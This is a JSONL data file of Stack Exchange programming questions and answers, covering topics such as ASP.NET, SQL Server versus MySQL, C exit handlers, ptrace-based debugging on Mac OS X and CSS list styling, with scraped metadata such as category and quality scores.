{"id": "hf_0ad54202d111", "question": "<p>Which is more efficient for the compiler and the best practice for checking whether a string is blank? </p>\n\n<ol>\n<li>Checking whether the length of the string == 0</li>\n<li>Checking whether the string is empty (strVar == \"\")</li>\n</ol>\n\n<p>Also, does the answer depend on language?</p>\n", "question_body": "", "answer": "Yes, it depends on language, since string storage differs between languages.\nPascal-type strings:\n```\nLength = 0\n```\n.\nC-style strings:\n```\n[0] == 0\n```\n.\n.NET:\n```\n.IsNullOrEmpty\n```\n.\nEtc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.332330"}
{"id": "hf_a2f20a5692f7", "question": "<p>I've kept up to date with new features in the C# language as it's moved from version 1 through version 3.  I haven't done such a good job keeping up to date with ASP.NET.  I feel like some of the post version 1 features are not so good (e.g. the AJAX framework) or are just not that useful to me (e.g. the membership framework).  Can anyone recommend any new killer ASP.NET features that might have gone unnoticed?</p>\n", "question_body": "", "answer": "I'm still learning ASP.net so I can't tell you exactly, but if you look through\nhttp://www.asp.net/learn/\nyou'll probably find a few new gems, there's even a 3.5 section.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.366037"}
{"id": "hf_aa3def238d64", "question": "<p>I've been playing around with the ASP.NET MVC Framework and the one thing that's really confusing me is how I'm meant to do server side validation of posted form data.  I presume I don't post back to the same URL, but if I don't, how do I redisplay the form with the entered data and error messages?  Also, where should the validation logic go?  In the model or the controller?  This seems to be one of the few areas where web forms are much stronger (I miss the validation controls).</p>\n", "question_body": "", "answer": "Have you taken a look at this?\nhttp://www.codeplex.com/MvcValidatorToolkit\nQuoted from the page\nThe Validator Toolkit provides a set\n  of validators for the new ASP.NET MVC\n  framework to validate HTML forms on\n  the client and server-side using\n  validation sets.\nI'm afraid that someone more MVC-savvy than me would have to speak to where in the architecture you should put things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.407739"}
{"id": "hf_da59ef7eecfc", "question": "<p>Are you aware of any tool that creates diagrams showing the branch/merge activity in a SVN repository?</p>\n\n<p>We've all seen these diagrams in various tutorials. Some good, some not so good. Can they be created automatically (or maybe with a little prodding -- you might have to tell it what if your branching philosophy is dev-test-prod, branch-per-release, etc.)</p>\n\n<p>I'm looking at the TortoiseSVN Revision Graph right now, but it has more detail than I want and the wrong layout.</p>\n\n<hr>\n\n<p>Orion, thanks for the response. I guess since branching and merging are more a convention for managing files in a repository than a \"built in feature of SVN, it would be pretty tough. I'll stick with the poorly-drawn diagram at the top of the whiteboard in our team's office.</p>\n", "question_body": "", "answer": "prior to SVN 1.5 (which has been out all of a month or so), it didn't track merges at all, so the bits where branches 'reconnect' to the trunk are impossible for it to do anyway", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.438643"}
{"id": "hf_7269c8985aaf", "question": "<p>Being new to Objective-C (but a long term C/++) programmer I'm looking for advice/recommendations on naming conventions for variables.</p>\n\n<p>My personal preference would be to utilize a prefix for instance variables both for clarity within functions and to prevent shadowing of function parameters. However I'm a fan of properties which rules out prefixes (unless you also prefix your property names, which doesn't work too well and looks daft). Similarly I could use the \"self.variable\" convention, but only if I make EVERYTHING a property.</p>\n\n<p>So given the code below what's your preferred naming style for instance/function variables? And if you don't bother, how do you deal with shadowing on function params?</p>\n\n<pre><code>@interface GridItem : NSObject\n{\n    CGRect _rect;\n    ...  \n}\n@end\n\n-(void) initFromRect:(CGRect)rect\n{\n    _rect = rect;\n    ...\n}\n</code></pre>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "I don't like using underscores as prefixes for any identifiers, because C and C++ both reserve certain underscore prefixes for use by the implementation.\nI think using \"self.variable\" is ugly.\nIn general, I use unadorned identifiers (that is, no prefixes nor suffixes) for instance variables.  If your class is so complicated that you can't remember the instance variables, you're in trouble.  So for your example, I'd use \"rect\" as the name of the instance variable and \"newRect\" or \"aRect\" as the parameter name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.485824"}
{"id": "hf_c80ce2093009", "question": "<p>I'm sure there is a good (or at least decent) reason for this.  What is it?</p>\n", "question_body": "", "answer": "It is so that you don't have two things trying to update the control at the same time. (This could happen if the CPU switches to the other thread in the middle of a write/read)\nSame reason you need to use mutexes (or some other synchronization) when accessing shared variables between multiple threads.\nEdit:\nIn other languages such as C++ you are\n  free to try and do this (without an\n  exception being thrown as in\n  WinForms), but you'll end up learning\n  the hard way!\nAhh yes...I switch between C/C++ and C# and therefore was a little more generic then I should've been, sorry... He is correct, you\ncan\ndo this in C/C++, but it will come back to bite you!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.526728"}
{"id": "hf_5537030e3406", "question": "<p>I have a project where I would like to generate a report export in MS Word format.  The report will include images/graphs, tables, and text.  What is the best way to do this?  Third party tools?  What are your experiences?</p>\n", "question_body": "", "answer": "The answer is going to depend slightly upon if the application is running on a server or if it is running on the client machine. If you are running on a server then you are going to want to use one of the XML based office generation formats as there are know issues when\nusing Office Automation on a server\n.\nHowever, if you are working on the client machine then you have a choice of either\nusing Office Automation\nor using the Office Open XML format (see links below), which is supported by Microsoft Office 2000 and up either natively or through service packs. One draw back to this though is that you might not be able to embed some kinds of graphs or images that you wish to show.\nThe best way to go about things will all depend sightly upon how much time you have to invest in development. If you go the route of Office Automation there are quite a few good tutorials out there that can be found via Google and is fairly simple to learn. However, the Open Office XML format is fairly new so you might find the learning curve to be a bit higher.\nOffice Open XML Iinformation\nOffice Open XML -\nhttp://en.wikipedia.org/wiki/Office_Open_XML\nOpenXML Developer -\nhttp://openxmldeveloper.org/default.aspx\nIntroducing the Office (2007) Open XML File Formats -\nhttp://msdn.microsoft.com/en-us/library/aa338205.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.567336"}
{"id": "hf_bf30ae5ac7b7", "question": "<p>I have a website that works correctly under IIS 6.0: It authenticates users with windows credentials, and then when talking to the service that hits the DB, it passes the credentials.</p>\n\n<p>In IIS 7.0, the same config settings do not pass the credentials, and the DB gets hit with NT AUTHORITY\\ANONYMOUS.</p>\n\n<p>Is there something I'm missing? I've turned ANONYMOUS access off in my IIS 7.0 website, but I can't get the thing to work.</p>\n\n<p>These are the settings that I'm using on both IIS 6.0 and 7.0:</p>\n\n<pre><code>&lt;authentication mode=\"Windows\"&gt;\n&lt;identity impersonate=\"true\"&gt;\n</code></pre>\n\n<p>What changed from 6.0 to 7.0?</p>\n", "question_body": "", "answer": "Interesting... I have the opposite problem -\nNot being able\nto get the authentication to be passed from the client browser, through the webserver and onto the database within a large corporate network over firewalls.\nI also feel that \"end to end user\" authentication to the database is a bad idea and a potential security risk.  There is nothing to stop the end user from loading up SQL Query and connecting directly to your database, so you'd better have your schema locked down!\n@Esteban - Clarified my\nnot very useful in helping you\nanswer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.591573"}
{"id": "hf_605765349e3b", "question": "<p>I have this program, we'll call it Host. Host does all kinds of good stuff, but it needs to be able to accept input through the command line <strong>while it's running</strong>. This means it has to somehow send its other process data and then quit. For example, I need to be able to do this:</p>\n\n<pre><code>./Host --blahblah 3 6 3 5\n</code></pre>\n\n<p>This should somehow end up calling some function in Host called</p>\n\n<pre><code>handleBlahBlah(int x1, int y1, int x2, int y2){\n  //do some more sweet stuff\n}\n</code></pre>\n\n<p>Host is a C program, and does not need to support multiple instances.</p>\n\n<p>An example of this is Amarok music player. With Amarok running and playing, you can type \"amarok --pause\" and it will pause the music.</p>\n\n<p>I need to be able to do this in Linux or Windows. Preferably Linux.</p>\n\n<p>What is the cleanest way to implement this?</p>\n", "question_body": "", "answer": "So, I may be missing the point here, but by deafult a C program's main function takes two arguments; argc, a count of the number of arguments (at least one), and argv (or arg vector), the argument list.  You could just parse through the arguments and call the correct method.\nFor example:\n```\n```\nint main(int argc, *argv[])\n {\n     /*loop through each argument and take action*/\n      while (--argc > 0)\n      {\n           printf(%s%s, *++argv, (argc > 1) ? \" \" : \"\");\n      }\n }\n```\n```\nwould print all of the arguments to screen.  I am no C guru, so I hope I haven't made any mistakes.\nEDIT:  Ok, he was after something else, but it wasn't really clear before the question was edited.  Don't have to jump on my rep...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.615326"}
{"id": "hf_7e90c6a3f313", "question": "<p>Ideally, I'm looking for a templated logical Set class.  It would have all of the standard set operations such as Union, Intersection, Etc., and collapse duplicated items.</p>\n\n<p>I ended up creating my own set class based on the C# Dictionary&lt;>- just using the Keys.</p>\n", "question_body": "", "answer": "```\nHashSet<T>\n```\nis about the closest you'll get, I think.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.650878"}
{"id": "hf_04b25d572214", "question": "<p>Currently, I'm attempting to make multiple beziers have equidistant points.  I'm currently using cubic interpolation to find the points, but because the way beziers work some areas are more dense than others and proving gross for texture mapping because of the variable distance.  <strong>Is there a way to find points on a bezier by distance rather than by percentage?  Furthermore, is it possible to extend this to multiple connected curves?</strong></p>\n", "question_body": "", "answer": "distance between P_0 and P_3 (in cubic form), yes, but I think you knew that, is straight forward.\nDistance on a curve is just arc length:\nfig 1 http://www.codecogs.com/eq.latex?%5Cint_%7Bt_0%7D%5E%7Bt_1%7D%20%7B%20|P'(t)|%20dt\nwhere:\nfig 2 http://www.codecogs.com/eq.latex?P%27(t)%20=%20[%7Bx%27,y%27,z%27%7D]%20=%20[%7B%5Cfrac%7Bdx(t)%7D%7Bdt%7D,%5Cfrac%7Bdy(t)%7D%7Bdt%7D,%5Cfrac%7Bdz(t)%7D%7Bdt%7D%7D]\n(see the rest)\nProbably, you'd have t_0 = 0, t_1 = 1.0, and dz(t) = 0 (2d plane).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.686219"}
{"id": "hf_0f6d82b38ab2", "question": "<p>Having been a PHP developer on LAMP servers for quite a while, is there anything that I will need to take into consideration while preparing an application for <em>IIS</em> on windows.</p>\n", "question_body": "", "answer": "Make sure you get the FastCGI extension for IIS 6.0 or IIS 7.0.  It is the single most important thing you can have when running PHP under IIS.  Also this article should get you setup:\nhttp://learn.iis.net/page.aspx/247/using-fastcgi-to-host-php-applications-on-iis-60/\nEverything beyond this is simple, MySQL and what not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.757691"}
{"id": "hf_896ad1a29423", "question": "<p>I've been using PHP &amp; MySQL for ages and am about to start using PostgreSQL instead.</p>\n\n<p>What's the preferred method?  </p>\n\n<p>Is it via the PDO objects or is there something better?</p>\n", "question_body": "", "answer": "PDO objects are the new hotness.  I'd recommend that as long as you can ensure that your target platform will always be running PHP 5.2+.\nThere are many other database abstraction layers that support PostgreSQL that are compatible with older versions of PHP; I'd recommend\nADODB\n.\nYou should really be using PDO or a different abstraction layer even for your MySQL work; that way you won't have this problem again!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.790772"}
{"id": "hf_484cfae6b9df", "question": "<p>What is the difference between early and late binding?</p>\n", "question_body": "", "answer": "Taken directly from\nhttp://word.mvps.org/fAQs/InterDev/EarlyvsLateBinding.htm\nThere are two ways to use Automation (or OLE Automation) to\n  programmatically control another application.\nLate binding uses CreateObject to create and instance of the\n  application object, which you can then control. For example, to create\n  a new instance of Excel using late binding:\n```\n```\nDim oXL As Object\n Set oXL = CreateObject(\"Excel.Application\")\n```\n```\nOn the other hand, to manipulate an existing instance of Excel (if\n  Excel is already open) you would use GetObject (regardless whether\n  you're using early or late binding):\n```\n```\nDim oXL As Object\n Set oXL = GetObject(, \"Excel.Application\")\n```\n```\nTo use early binding, you first need to set a reference in your\n  project to the application you want to manipulate. In the VB Editor of\n  any Office application, or in VB itself, you do this by selecting\n  Tools + References, and selecting the application you want from the\n  list (e.g. “Microsoft Excel 8.0 Object Library”).\nTo create a new instance of Excel using early binding:\n```\n```\nDim oXL As Excel.Application\n Set oXL = New Excel.Application\n```\n```\nIn either case, incidentally, you can first try to get an existing\n  instance of Excel, and if that returns an error, you can create a new\n  instance in your error handler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.838647"}
{"id": "hf_801f43d17781", "question": "<p>I've grokked the code for all the aforementioned apps and I still can't find a straightforward way to create a static directory structure from a single command.</p>\n", "question_body": "", "answer": "So what you want is to able to issue a command that will generate an entire directory tree?\n```\n```\ncp -r <template> <destination>\n```\n```\nOr am I misunderstanding?  If you want to generate a consistent directory structure, your best bet is to simply copy it from a template.  Fast, easy, done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.879625"}
{"id": "hf_ccc051161a12", "question": "<p>Does anyone use have a good regex library that they like to use? Most of the regexes that you find online either contain bugs or are so focused on the edge cases that it turns into a competition to validate whatever spec 100%. Of course you can write your own, but when you are billing by the hour its handy to have a library around. </p>\n", "question_body": "", "answer": "Besides being pretty much the best Regex tool on the market (seriously), RegexBuddy is about the only tool I know of that lets you switch amongst different Regex rendering engines.\nhttp://www.regexbuddy.com/\nSee info here:\nhttp://en.wikipedia.org/wiki/RegexBuddy\nRegexBuddy's proprietary regular expression engine allows the software to emulate the rules and limitations of numerous popular regular expression flavors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.931603"}
{"id": "hf_8442bff4b4b1", "question": "<p>I'm an <a href=\"http://en.wikipedia.org/wiki/ASP.NET\" rel=\"noreferrer\">ASP.NET</a> developer who has used <code>Microsoft SQL Server</code> for all my database needs (both at work and for personal projects). </p>\n\n<p>I am considering trying out the <a href=\"http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29\" rel=\"noreferrer\">LAMP</a> stack for some of my personal projects. </p>\n\n<p>What are some of the main differences between <code>MySQL</code> and <code>SQL Server</code>? Is using <a href=\"http://en.wikipedia.org/wiki/Stored_procedure\" rel=\"noreferrer\">stored procedures</a> a common practice in <code>MySQL</code>? </p>\n\n<p>Any advice or resources you'd recommend to help me with the switch? </p>\n\n<p>To those who have experience with both, are there any missing features from <code>MySQL</code>?</p>\n", "question_body": "", "answer": "One thing you have to watch out for is the fairly severe differences in the way SQL Server and MySQL implement the SQL syntax.\nHere's a nice\nComparison of Different SQL Implementations\n.\nFor example, take a look at the top-n section. In MySQL:\n```\n```\nSELECT age\nFROM person\nORDER BY age ASC\nLIMIT 1 OFFSET 2\n```\n```\nIn SQL Server (T-SQL):\n```\n```\nSELECT TOP 3 WITH TIES *\nFROM person\nORDER BY age ASC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.960154"}
{"id": "hf_586505120777", "question": "<p>I currently use nant, ccnet (cruise control), svn, mbunit. I use msbuild to do my sln build just because it was simpler to shell out. </p>\n\n<p>Are there any merits to switching my whole build script to MSBuild? I need to be able to run tests, watir style tests, xcopy deploy. Is this easier?</p>\n\n<p><strong>Update: Any compelling features that would cause me to shift from nant to msbuild?</strong></p>\n", "question_body": "", "answer": "I feel that MSBuild and Nant are fairly comparable. If you are using one of these, I generally wouldn't switch between them unless there was a compelling feature that was missing in the product you had selected.\nI personally use MSBuild for any new project, but your mileage may vary.\nHope that helps!\nEdit:\n@ChanChan  - @Jon mentions that Nant doesn't build .NET 3.5 applications. This may be enough of a reason to either change, or at least use them in parallel. As I've moved more towards MSBuild, I am probably not the most informed person to highlight any other showstoppers with either technology.\nEdit:\nIt appears Nant now builds .NET 3.5 Applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.003839"}
{"id": "hf_eea72ddcb965", "question": "<p>I'm looking for a good method of generating an iCalendar file (*.ics) in c# (asp.net).  I've found a couple resources, but one thing that has been lacking is their support for <strong>quoted-printable</strong> fields - fields that have carriage returns and line feeds.</p>\n\n<p>For example, if the <strong>description</strong> field isn't encoded properly, only the first line will display and possibly corrupting the rest of the information in the *.ics file.</p>\n\n<p>I'm looking for existing classes that can generate *.ics files and/or a class that can generate <strong>quoted-printable</strong> fields.</p>\n", "question_body": "", "answer": "I use\nDDay.Ical\n, its good stuff.\nHas the ability to open up an ical file and get its data in a nice object model. It says beta, but it works great for us.\nEdit Nov 2016\nThis library has been deprecated, but was picked up and re-released as iCal.NET by another dev.\nNotes about the release:\nrianjs.net/2016/07/dday-ical-is-now-ical-net\nSource on GitHub:\ngithub.com/rianjs/ical.net", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.071475"}
{"id": "hf_309f367aec81", "question": "<p>We deployed a live, fresh, swanky site using preview 3 including rigorous stress testing. </p>\n\n<p>Page Output caching was our saviour and afforded us the ability to meet our performance contractual requirements.</p>\n\n<p>My question is, is there a difference between action <code>OutputCacheFilter</code> and page output caching?</p>\n\n<p>Is the action output caching faster than page output caching?</p>\n", "question_body": "", "answer": "Internally, the OutputCacheAttribute (aka output cache filter) uses the same internal mechanism as\npage output caching\n(aka the @OutputCache directive).\nTherefore, it's not any faster than page output caching. However, with MVC, you really can't use page output caching via the @OutputCache directive in MVC because we render the view (aka page)\nafter\nthe action runs. So you would gain very little benefit.\nWith the output cache filter, it does the correct thing and does not execute the action code if the result is in the output cache. Hope that helps. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.094888"}
{"id": "hf_7366b55067a0", "question": "<p>I've been trying to understand how to read the memory of other processes on Mac OS X, but I'm not having much luck. I've seen many examples online using <code>ptrace</code> with <code>PEEKDATA</code> and such, however it doesn't have that option on BSD <sup>[<a href=\"http://developer.apple.com/documentation/Darwin/Reference/ManPages/man2/ptrace.2.html\" rel=\"noreferrer\"><code>man ptrace</code></a>]</sup>.</p>\n\n<pre><code>int pid = fork();\nif (pid &gt; 0) {\n    // mess around with child-process's memory\n}\n</code></pre>\n\n<p>How is it possible to read from and write to the memory of another process on Mac OS X?</p>\n", "question_body": "", "answer": "Matasano Chargen had a good post a while back on porting some debugging code to OS X, which included learning how to read and write memory in another process (among other things).\nIt has to work, otherwise GDB wouldn't\n:\nIt turns out Apple, in their infinite wisdom, had gutted\n```\nptrace()\n```\n. The OS X man page lists the following request codes:\n```\nPT_ATTACH\n```\n— to pick a process to debug\n```\nPT_DENY_ATTACH\n```\n— so processes can stop themselves from being debugged\n[...]\nNo mention of reading or writing memory or registers. Which would have been discouraging if the man page had not also mentioned\n```\nPT_GETREGS\n```\n,\n```\nPT_SETREGS\n```\n,\n```\nPT_GETFPREGS\n```\n, and\n```\nPT_SETFPREGS\n```\nin the error codes section. So, I checked\n```\nptrace.h\n```\n. There I found:\n```\nPT_READ_I\n```\n— to read instruction words\n```\nPT_READ_D\n```\n— to read data words\n```\nPT_READ_U\n```\n— to read U area data if you’re old enough to remember what the U area is\n[...]\nThere’s one problem solved. I can read and write memory for breakpoints. But I still can’t get access to registers, and I need to be able to mess with EIP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.117644"}
{"id": "hf_edbd8ebda76e", "question": "<p>Is there any difference between</p>\n\n<pre><code>   int on_exit(void (*function)(int , void *), void *arg);\n</code></pre>\n\n<p>and</p>\n\n<pre><code>   int atexit(void (*function)(void));\n</code></pre>\n\n<p>other than the fact that the function used by on_exit gets the exit status?</p>\n\n<p>That is, if I don't care about the exit status, is there any reason to use one or the other?</p>\n\n<p><strong>Edit:</strong> Many of the answers warned against <code>on_exit</code> because it's non-standard. If I'm developing an app that is for internal corporate use and guaranteed to run on specific configurations, should I worry about this? </p>\n", "question_body": "", "answer": "You should use\n```\natexit()\n```\nif possible.\n```\non_exit()\n```\nis nonstandard and less common.  For example, it's not available on OS X.\nKernel.org -\n```\non_exit()\n```\n:\nThis function comes from SunOS 4, but is also present in libc4, libc5 and\n  glibc.  It no longer occurs in Solaris (SunOS 5).  Avoid this function, and\n  use the standard atexit(3) instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.141705"}
{"id": "hf_35aeafda528e", "question": "<p>In your applications, what's a \"long time\" to keep a transaction open before committing or rolling back?  Minutes?  Seconds?  Hours?</p>\n\n<p>and on which database?</p>\n", "question_body": "", "answer": "transactions: minutes.\nCursors: 0seconds maximum, if you use a cursor we fire you.\nThis is not ridiculous when you consider we are in a high availability web environment, that has to run sql server, and we don't even allow stored procs because of inability to accurately version and maintain them. If we were using oracle maybe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.164480"}
{"id": "hf_1cce25385972", "question": "<p>I'm dynamically loading user controls adding them to the Controls collection of the web form.</p>\n\n<p>I'd like to hide user controls if they cause a unhandled exception while rendering.</p>\n\n<p>So, I tried hooking to the Error event of each UserControl but it seems that this event never fires for the UserControls as it does for Page class. </p>\n\n<p>Did some googling around and it doesn't seem promising. Any ideas here?</p>\n", "question_body": "", "answer": "Global.asax and Application_Error?\nhttp://www.15seconds.com/issue/030102.htm\nOr the Page_Error Event on an individual Page only:\nhttp://support.microsoft.com/kb/306355\n```\n```\nvoid Page_Load(object sender, System.EventArgs e)\n{\n    throw(new ArgumentNullException());\n}\n\npublic void Page_Error(object sender,EventArgs e)\n{\n    Exception objErr = Server.GetLastError().GetBaseException();\n    string err =    \"<b>Error Caught in Page_Error event</b><hr><br>\" + \n                    \"<br><b>Error in: </b>\" + Request.Url.ToString() +\n                    \"<br><b>Error Message: </b>\" + objErr.Message.ToString()+\n                    \"<br><b>Stack Trace:</b><br>\" + \n                      objErr.StackTrace.ToString();\n    Response.Write(err.ToString());\n    Server.ClearError();\n}\n```\n```\nAlso, Karl Seguin (Hi Karl!) had a Post on using HttpHandler instead:\nhttp://codebetter.com/blogs/karlseguin/archive/2006/06/12/146356.aspx\n(Not sure what the permission to reproduce it, but if you want to write up an answer, you got my Upvote ☺)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.223171"}
{"id": "hf_b49bdeb4b72c", "question": "<p>When creating a new ASP.NET project in Visual Studio should I chose create: website or project? </p>\n\n<p>I understand that web application project was the way to do it back in the day with VS 2003 but is it still applicable today? What are some of the caveats using one over the other?</p>\n", "question_body": "", "answer": "There's a\npretty good comparison chart on MSDN\n.\nWebsite projects are simple, in that all files added to the project folders are automatically compiled and included, which was supposedly added to make it more palatable to classic ASP and PHP developers. Once benefit is that it includes build providers, which allow for certain actions to be associated with a filetype - that's how the first release of SubSonic would rebuild the data access layer when you added a .abp file to the site.\nWeb Application Projects are a lot more flexible, though. For instance, all class libraries in a Website Project need to be in the App_Code folder, which is frustrating in a complex application. There are a lot of scenarios which just don't work for a Website Project.\nYou can convert from one to another, although if you're unsure I'd recommend just starting with a Web Application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.246852"}
{"id": "hf_7c118797b223", "question": "<p>Does anybody know if it's possible, and how, to programmatically send a <strong>SMS</strong> from the <code>iPhone</code>, with the official SDK / Cocoa Touch?</p>\n", "question_body": "", "answer": "You can use a\n```\nsms:[target phone number]\n```\nURL to open the SMS application, but there are no indications on how to prefill a SMS body with text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.330407"}
{"id": "hf_057cbed07a13", "question": "<p>How can I left-align the numbers in an ordered list?</p>\n\n<pre><code>1.  an item\n// skip some items for brevity \n9.  another item\n10. notice the 1 is under the 9, and the item contents also line up\n</code></pre>\n\n<p>Change the character after the number in an ordered list?</p>\n\n<pre><code>1) an item\n</code></pre>\n\n<p>Also is there a CSS solution to change from numbers to alphabetic/roman lists instead of using the type attribute on the ol element.</p>\n\n<p>I am mostly interested in answers that work on Firefox 3.</p>\n", "question_body": "", "answer": "The CSS for styling lists is\nhere\n, but is basically:\n```\n```\nli {\n    list-style-type: decimal;\n    list-style-position: inside;\n}\n```\n```\nHowever, the specific layout you're after can probably only be achieved by delving into the innards of the layout with something like\nthis\n(note that I haven't actually tried it):\n```\n```\nol { counter-reset: item }\nli { display: block }\nli:before { content: counter(item) \") \"; counter-increment: item }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.402109"}
{"id": "hf_ba66cbff73a7", "question": "<p>I'm looking for a good article on using emacs as C/C++ IDE.</p>\n\n<p>Something like Steve Yegge's <a href=\"http://steve.yegge.googlepages.com/effective-emacs\" rel=\"noreferrer\">\"Effective emacs\"</a>.</p>\n", "question_body": "", "answer": "No specific article, really, but I've found\nEmacsWiki\nto be full of useful information. Consider checking out these entries:\nCPlusPlus\nas a starting point for many C++-related articles, and\nCppTemplate\nto define a template that can give you a good skeleton when you start new files", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:39.425717"}
